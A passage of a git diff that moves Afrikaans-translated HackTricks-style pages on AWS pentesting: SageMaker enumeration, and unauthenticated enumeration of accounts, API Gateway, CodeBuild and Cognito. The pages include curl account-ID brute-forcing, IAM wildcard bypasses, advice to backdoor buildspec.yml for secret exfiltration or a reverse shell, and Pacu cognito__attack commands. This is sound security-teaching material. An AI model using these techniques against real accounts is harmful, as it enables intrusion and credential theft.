Modelle, Endpoint-konfigurasies & Ontplooide Endpoints +```bash +aws sagemaker list-models --region $REGION +aws sagemaker describe-model --model-name --region $REGION + +aws sagemaker list-endpoint-configs --region $REGION +aws sagemaker describe-endpoint-config --endpoint-config-name --region $REGION + +aws sagemaker list-endpoints --region $REGION +aws sagemaker describe-endpoint --endpoint-name --region $REGION +``` +Fokusgebiede: + +- Modelartefak S3 URIs (`PrimaryContainer.ModelDataUrl`) en inference container images. +- Endpoint data capture-konfigurasie (S3 bucket, KMS) vir moontlike log exfil. +- Multi-model endpoints wat `S3DataSource` of `ModelPackage` gebruik (kontroleer vir cross-account packaging). +- Netwerkkonfigurasies en security groups wat aan endpoints gekoppel is. + +## Feature Store, Data Wrangler & Clarify +```bash +aws sagemaker list-feature-groups --region $REGION +aws sagemaker describe-feature-group --feature-group-name --region $REGION + +aws sagemaker list-data-wrangler-flows --region $REGION +aws sagemaker describe-data-wrangler-flow --flow-name --region $REGION + +aws sagemaker list-model-quality-job-definitions --region $REGION +aws sagemaker list-model-monitoring-schedule --region $REGION +``` +Sekuriteitsopsommings: + +- Aanlyn feature stores repliseer data na Kinesis; kontroleer `OnlineStoreConfig.SecurityConfig.KmsKeyId` en VPC. +- Data Wrangler-vloei inkorporeer dikwels JDBC/Redshift-inlogbesonderhede of private endpoints. +- Clarify/Model Monitor-jobs voer data uit na S3 wat moontlik wêreldwyd leesbaar of oor-rekening toeganklik is. + +## MLflow Tracking-bedieners, Autopilot & JumpStart +```bash +aws sagemaker list-mlflow-tracking-servers --region $REGION +aws sagemaker describe-mlflow-tracking-server --tracking-server-name --region $REGION + +aws sagemaker list-auto-ml-jobs --region $REGION +aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION + +aws sagemaker list-jumpstart-models --region $REGION +aws sagemaker list-jumpstart-script-resources --region $REGION +``` +- MLflow tracking servers stoor eksperimente en artefakte; presigned URLs kan alles blootstel. +- Autopilot jobs draai verskeie training jobs — lys die uitsette vir verborge data. +- JumpStart reference architectures kan bevoorregte rolle in die rekening ontplooi. + +## IAM & Netwerk-oorwegings + +- Enumereer IAM-beleide wat aangeheg is aan alle uitvoeringsrolle (Studio, notebooks, training jobs, pipelines, endpoints). +- Kontroleer netwerk-kontekste: subnets, security groups, VPC endpoints. Baie organisasies isoleer training jobs maar vergeet om uitgaande verkeer te beperk. +- Hersien S3 bucket-beleide wat in `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` verwys word vir eksterne toegang. + +## Privilege Escalation + +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} + +## Persistence + +{{#ref}} +../../aws-persistence/aws-sagemaker-persistence/README.md +{{#endref}} + +## Post-Exploitation + +{{#ref}} +../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +{{#endref}} + +## Unauthorized Access + +{{#ref}} +../aws-sagemaker-unauthorized-access/README.md +{{#endref}} + +## Verwysings + +- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html) +- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html) +- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html) +- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md deleted file mode 100644 index f317a8c06..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - Rekeninge Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Rekening ID's - -As jy 'n teiken het, is daar maniere om te probeer om rekening ID's van rekeninge wat met die teiken verband hou, te identifiseer. - -### Brute-Force - -Jy skep 'n lys van potensiële rekening ID's en aliase en kontroleer hulle. -```bash -# Check if an account ID exists -curl -v https://.signin.aws.amazon.com -## If response is 404 it doesn't, if 200, it exists -## It also works from account aliases -curl -v https://vodafone-uk2.signin.aws.amazon.com -``` -U kan [hierdie proses outomatiseer met hierdie hulpmiddel](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). - -### OSINT - -Soek vir urls wat `.signin.aws.amazon.com` bevat met 'n **alias wat verband hou met die organisasie**. - -### Marketplace - -As 'n verskaffer **instansies in die marketplace het,** kan u die eienaar id (rekening id) van die AWS rekening wat hy gebruik het, kry. - -### Snapshots - -- Publieke EBS snapshots (EC2 -> Snapshots -> Publieke Snapshots) -- RDS publieke snapshots (RDS -> Snapshots -> Alle Publieke Snapshots) -- Publieke AMIs (EC2 -> AMIs -> Publieke beelde) - -### Errors - -Baie AWS foutboodskappe (selfs toegang geweier) sal daardie inligting gee. - -## References - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md new file mode 100644 index 000000000..05ad30e19 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md @@ -0,0 +1,43 @@ +# AWS - Accounts Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Account IDs + +As jy 'n teiken het, is daar maniere om te probeer om rekening-ID's van rekeninge wat met die teiken verband hou, te identifiseer. + +### Brute-Force + +Jy skep 'n lys van potensiële rekening-ID's en aliase en kontroleer dit. +```bash +# Check if an account ID exists +curl -v https://.signin.aws.amazon.com +## If response is 404 it doesn't, if 200, it exists +## It also works from account aliases +curl -v https://vodafone-uk2.signin.aws.amazon.com +``` +Jy kan hierdie proses [outomatiseer met hierdie tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). + +### OSINT + +Soek na urls wat `.signin.aws.amazon.com` bevat met 'n **alias wat verband hou met die organisasie**. + +### Marketplace + +As 'n verskaffer **instances in the marketplace** het, kan jy die owner id (account id) kry van die AWS-rekening wat hy gebruik het. + +### Snapshots + +- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) +- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) +- Public AMIs (EC2 -> AMIs -> Public images) + +### Foute + +Baie AWS-foutboodskappe (selfs 'access denied') sal daardie inligting gee. + +## Verwysings + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md deleted file mode 100644 index d98ad9ca4..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ /dev/null @@ -1,52 +0,0 @@ -# AWS - API Gateway Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### API Aanroep omseiling - -Volgens die praatjie [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), kan Lambda Authorizers geconfigureer word **met IAM-sintaksis** om toestemmings te gee om API-eindpunte aan te roep. Dit is geneem [**uit die dokumentasie**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Permission", -"Action": ["execute-api:Execution-operation"], -"Resource": [ -"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" -] -} -] -} -``` -Die probleem met hierdie manier om toestemmings te gee om eindpunte aan te roep, is dat die **"\*" impliseer "enigiets"** en daar is **geen verdere regex-sintaksis ondersteun** nie. - -Sommige voorbeelde: - -- 'n Reël soos `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` om elke gebruiker toegang te gee tot `/dashboard/user/{username}` sal hulle toegang gee tot ander roetes soos `/admin/dashboard/createAdmin` byvoorbeeld. - -> [!WARNING] -> Let daarop dat **"\*" nie stop om uit te brei met skewe strepies nie**, daarom, as jy "\*" in api-id gebruik byvoorbeeld, kan dit ook "enige fase" of "enige metode" aandui solank die finale regex steeds geldig is.\ -> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Kan 'n posversoek valideer om die toetsfase na die pad `/prod/GET/dashboard/admin` byvoorbeeld. - -Jy moet altyd duidelik hê wat jy wil toelaat om toegang te verkry en dan nagaan of ander scenario's moontlik is met die toestemmings wat gegee is. - -Vir meer inligting, behalwe die [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), kan jy kode vind om outeurs te implementeer in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). - -### IAM Beleid Inspuiting - -In dieselfde [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) word die feit blootgestel dat as die kode **gebruikersinvoer** gebruik om die **IAM-beleide** te genereer, wildcard (en ander soos "." of spesifieke strings) daarin ingesluit kan word met die doel om **beperkings te omseil**. - -### Publieke URL-sjabloon -``` -https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} -``` -### Kry rekening ID van openbare API Gateway URL - -Net soos met S3-buckets, Data Exchange en Lambda URL's gateways, is dit moontlik om die rekening ID van 'n rekening te vind deur die **`aws:ResourceAccount`** **Beleidstoestand Sleutel** van 'n openbare API Gateway URL te misbruik. Dit word gedoen deur die rekening ID een karakter op 'n slag te vind deur wildcard te misbruik in die **`aws:ResourceAccount`** afdeling van die beleid.\ -Hierdie tegniek laat ook toe om **waardes van etikette** te kry as jy die etiket sleutel ken (daar is 'n paar standaard interessante). - -Jy kan meer inligting vind in die [**oorspronklike navorsing**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) en die hulpmiddel [**conditional-love**](https://github.com/plerionhq/conditional-love/) om hierdie uitbuiting te outomatiseer. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md new file mode 100644 index 000000000..60bb5c91a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md @@ -0,0 +1,52 @@ +# AWS - API Gateway Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### API Invoke bypass + +Volgens die praatjie [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers kan gekonfigureer word **using IAM syntax** om toestemmings te gee om invoke API endpoints. Dit is geneem [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] +} +``` +Die probleem met hierdie manier om permissies te gee om endpoints aan te roep is dat die **"\*" "alles" impliseer** en daar is **geen verdere regex-sintaksis ondersteun nie**. + +Some examples: + +- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. + +> [!WARNING] +> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ +> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. + +Jy moet altyd duidelik wees oor wat jy wil toelaat en dan nagaan of ander scenario's moontlik is met die toegekenede permissies. + +For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). + +### IAM Policy Injection + +In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. + +### Publieke URL-sjabloon +``` +https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} +``` +### Kry rekening-ID vanaf openbare API Gateway-URL + +Net soos met S3 buckets, Data Exchange en Lambda URL gateways, is dit moontlik om die rekening-ID van ’n rekening te vind deur misbruik te maak van die **`aws:ResourceAccount`** **Policy Condition Key** vanaf ’n openbare API Gateway-URL. Dit word gedoen deur die rekening-ID een karakter op ’n slag te vind deur wildcards in die **`aws:ResourceAccount`** afdeling van die beleid te misbruik.\ +Hierdie tegniek maak dit ook moontlik om **waardes van tags** te kry as jy die tag key ken (daar is ’n paar standaard interessante). + +Jy kan meer inligting vind in die [**oorspronklike navorsing**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) en die hulpmiddel [**conditional-love**](https://github.com/plerionhq/conditional-love/) om hierdie eksploitasie te outomatiseer. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md deleted file mode 100644 index 07beb0d97..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Cloudfront Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Publieke URL sjabloon -``` -https://{random_id}.cloudfront.net -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md new file mode 100644 index 000000000..495c2b592 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Cloudfront Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Publieke URL-sjabloon +``` +https://{random_id}.cloudfront.net +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md deleted file mode 100644 index 92f124ea2..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - CodeBuild Ongeauthentiseerde Toegang - -{{#include ../../../banners/hacktricks-training.md}} - -## CodeBuild - -Vir meer inligting, kyk na hierdie bladsy: - -{{#ref}} -../aws-services/aws-codebuild-enum.md -{{#endref}} - -### buildspec.yml - -As jy skrywe toegang oor 'n repository wat 'n lêer genaamd **`buildspec.yml`** bevat, kan jy hierdie lêer **backdoor**, wat die **opdragte spesifiseer wat binne 'n CodeBuild projek uitgevoer gaan word** en die geheime uit te haal, wat gedoen word te kompromitteer en ook die **CodeBuild IAM rol geloofsbriewe** te kompromitteer. - -Let daarop dat selfs al is daar geen **`buildspec.yml`** lêer nie, maar jy weet Codebuild word gebruik (of 'n ander CI/CD), kan **modifisering van 'n legitieme kode** wat uitgevoer gaan word, jou ook 'n omgekeerde shell gee byvoorbeeld. - -Vir sommige verwante inligting kan jy die bladsy oor hoe om Github Actions aan te val (soos hierdie) kyk: - -{{#ref}} -../../../pentesting-ci-cd/github-security/abusing-github-actions/ -{{#endref}} - -## Self-gehoste GitHub Actions runners in AWS CodeBuild - -Soos [**aangegee in die dokumentasie**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), is dit moontlik om **CodeBuild** te konfigureer om **self-gehoste Github aksies** te laat loop wanneer 'n werksvloei binne 'n geconfigureerde Github repo geaktiveer word. Dit kan opgespoor word deur die CodeBuild projekkonfigurasie te kontroleer omdat die **`Event type`** moet bevat: **`WORKFLOW_JOB_QUEUED`** en in 'n Github Werksvloei omdat dit 'n **self-gehoste** runner soos hierdie sal kies: -```bash -runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} -``` -Hierdie nuwe verhouding tussen Github Actions en AWS skep 'n ander manier om AWS vanaf Github te kompromitteer, aangesien die kode in Github in 'n CodeBuild-projek met 'n IAM-rol aangeheg sal wees. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md new file mode 100644 index 000000000..c0019a4b7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md @@ -0,0 +1,33 @@ +# AWS - CodeBuild Ongeauthentiseerde Toegang + +{{#include ../../../../banners/hacktricks-training.md}} + +## CodeBuild + +Vir meer inligting, sien hierdie bladsy: + +{{#ref}} +../../aws-services/aws-codebuild-enum.md +{{#endref}} + +### buildspec.yml + +As jy skryf-toegang tot 'n repository bekom wat 'n lêer met die naam **`buildspec.yml`** bevat, kan jy hierdie lêer **backdoor**, wat die **opdragte wat uitgevoer gaan word** binne 'n CodeBuild projek spesifiseer, en sodoende die geheime eksfiltreer, die uitgevoerde take kompromitteer en ook die **CodeBuild IAM role credentials** kompromitteer. + +Let wel dat selfs al daar geen **`buildspec.yml`** lêer is nie, as jy weet Codebuild gebruik word (of 'n ander CI/CD), kan die **modifiseer sekere legitieme kode** wat uitgevoer gaan word byvoorbeeld ook 'n reverse shell vir jou kry. + +Vir verwante inligting kan jy die blad oor hoe om Github Actions aan te val raadpleeg (vergelykbaar hiermee): + +{{#ref}} +../../../../pentesting-ci-cd/github-security/abusing-github-actions/ +{{#endref}} + +## Self-hosted GitHub Actions runners in AWS CodeBuild + +As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this: +```bash +runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} +``` +Hierdie nuwe verhouding tussen Github Actions en AWS skep nog 'n manier om AWS vanaf Github te compromise, aangesien die code in Github in 'n CodeBuild project met 'n IAM role aangeheg sal loop. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md deleted file mode 100644 index e39dced00..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ /dev/null @@ -1,44 +0,0 @@ -# AWS - Cognito Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Ongeauthentiseerde Cognito - -Cognito is 'n AWS-diens wat ontwikkelaars in staat stel om **hul app-gebruikers toegang tot AWS-dienste te gee**. Ontwikkelaars sal **IAM-rolle aan geverifieerde gebruikers** in hul app toeken (potensieel kan mense net aanmeld) en hulle kan ook 'n **IAM-rol aan ongeauthentiseerde gebruikers** toeken. - -Vir basiese inligting oor Cognito, kyk: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Identiteit Pool ID - -Identiteit Pools kan **IAM-rolle aan ongeauthentiseerde gebruikers** toeken wat net **die Identiteit Pool ID** ken (wat redelik algemeen is om te **vind**), en 'n aanvaller met hierdie inligting kan probeer om **toegang tot daardie IAM-rol** te verkry en dit te misbruik.\ -Boonop kan IAM-rolle ook toegeken word aan **geauthentiseerde gebruikers** wat toegang tot die Identiteit Pool het. As 'n aanvaller **'n gebruiker kan registreer** of reeds **toegang tot die identiteitsverskaffer** het wat in die identiteits pool gebruik word, kan jy toegang verkry tot die **IAM-rol wat aan geauthentiseerde** gebruikers gegee word en sy voorregte misbruik. - -[**Kyk hoe om dit hier te doen**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). - -### Gebruiker Pool ID - -Standaard laat Cognito toe om **nuwe gebruikers te registreer**. In staat wees om 'n gebruiker te registreer, kan jou **toegang** gee tot die **onderliggende toepassing** of tot die **geauthentiseerde IAM-toegang rol van 'n Identiteit Pool** wat die Cognito Gebruiker Pool as identiteitsverskaffer aanvaar. [**Kyk hoe om dit hier te doen**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). - -### Pacu modules vir pentesting en enumerasie - -[Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS-uitbuitingsraamwerk, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito-bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en ook die skepping van gebruikers outomatiseer (insluitend MFA-ondersteuning) en voorregte-eskalasie gebaseer op aanpasbare aangepaste attributen, bruikbare identiteits pool akkrediteer, aanneembare rolle in id tokens, ens. - -Vir 'n beskrywing van die modules se funksies, sien deel 2 van die [blogpos](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie-instruksies, sien die hoof [Pacu](https://github.com/RhinoSecurityLabs/pacu) bladsy. - -#### Gebruik - -Voorbeeld `cognito__attack` gebruik om te probeer om gebruiker te skep en alle privesc vektore teen 'n gegewe identiteits pool en gebruiker pool kliënt: -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening te versamel: -```bash -Pacu (new:test) > run cognito__enum -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md new file mode 100644 index 000000000..af42d2cae --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md @@ -0,0 +1,44 @@ +# AWS - Cognito Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Unauthenticated Cognito + +Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Ontwikkelaars sal **IAM roles to authenticated users** in hul app toeken (mense kan moontlik net sign up) en hulle kan ook 'n **IAM role to unauthenticated users** toeken. + +For basic info about Cognito check: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Identity Pool ID + +Identity Pools kan **IAM roles to unauthenticated users** toeken wat net die **Identity Pool ID** ken (wat redelik algemeen is om te **find**), en 'n aanvaller met hierdie inligting kan probeer om toegang tot daardie IAM role te kry en dit uit te buit. +Verder kan IAM roles ook aan **authenticated users** toegeken word wat die Identity Pool gebruik. As 'n aanvaller 'n gebruiker kan **register a user** of reeds **access to the identity provider** het wat in die identity pool gebruik word, kan hy toegang kry tot die **IAM role being given to authenticated** users en die voorregte misbruik. + +[**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md). + +### User Pool ID + +Standaard laat Cognito toe dat nuwe gebruikers registreer. Om 'n gebruiker te kan registreer kan jou toegang gee tot die onderliggende toepassing of tot die **authenticated IAM access role of an Identity Pool** wat die Cognito User Pool as identity provider aanvaar. [**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). + +### Pacu modules for pentesting and enumeration + +[Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS exploitation framework, sluit nou die "cognito__enum" en "cognito__attack" modules in wat die enumeration van alle Cognito-bronne in 'n rekening outomatiseer en swak konfigurasies, gebruikersattribuutte wat vir toegangbeheer gebruik word, ens. merk, en ook user creation (insluitend MFA support) en privilege escalation gebaseer op modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, ens. outomatiseer. + +For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. + +#### Usage + +Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +Voorbeeld van cognito\_\_enum gebruik om alle user pools, user pool clients, identity pools, gebruikers, ens. sigbaar in die huidige AWS account te versamel: +```bash +Pacu (new:test) > run cognito__enum +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md deleted file mode 100644 index b3f104222..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - DocumentDB Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Publieke URL sjabloon -``` -.cluster-..docdb.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md new file mode 100644 index 000000000..86c04f15b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md @@ -0,0 +1,9 @@ +# AWS - DocumentDB Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Publieke URL-sjabloon +``` +.cluster-..docdb.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md deleted file mode 100644 index 8fe13db71..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ /dev/null @@ -1,15 +0,0 @@ -# AWS - DynamoDB Ongeauthentiseerde Toegang - -{{#include ../../../banners/hacktricks-training.md}} - -## Dynamo DB - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -Behalwe om toegang te gee tot alle AWS of 'n paar gecompromitteerde eksterne AWS-rekeninge, of om 'n paar SQL-inspuitings in 'n toepassing wat met DynamoDB kommunikeer te hê, weet ek nie van meer opsies om toegang tot AWS-rekeninge vanaf DynamoDB te verkry nie. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md new file mode 100644 index 000000000..d0a76574b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md @@ -0,0 +1,15 @@ +# AWS - DynamoDB Ongeauthentiseerde Toegang + +{{#include ../../../../banners/hacktricks-training.md}} + +## Dynamo DB + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +Behalwe in gevalle waar dit toegang gee tot 'n volledige AWS-rekening of 'n gekompromitteerde eksterne AWS-rekening, of wanneer daar SQL injections is in 'n toepassing wat met DynamoDB kommunikeer, weet ek nie van ander opsies om AWS-rekeninge via DynamoDB te bekom nie. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md similarity index 70% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md rename to 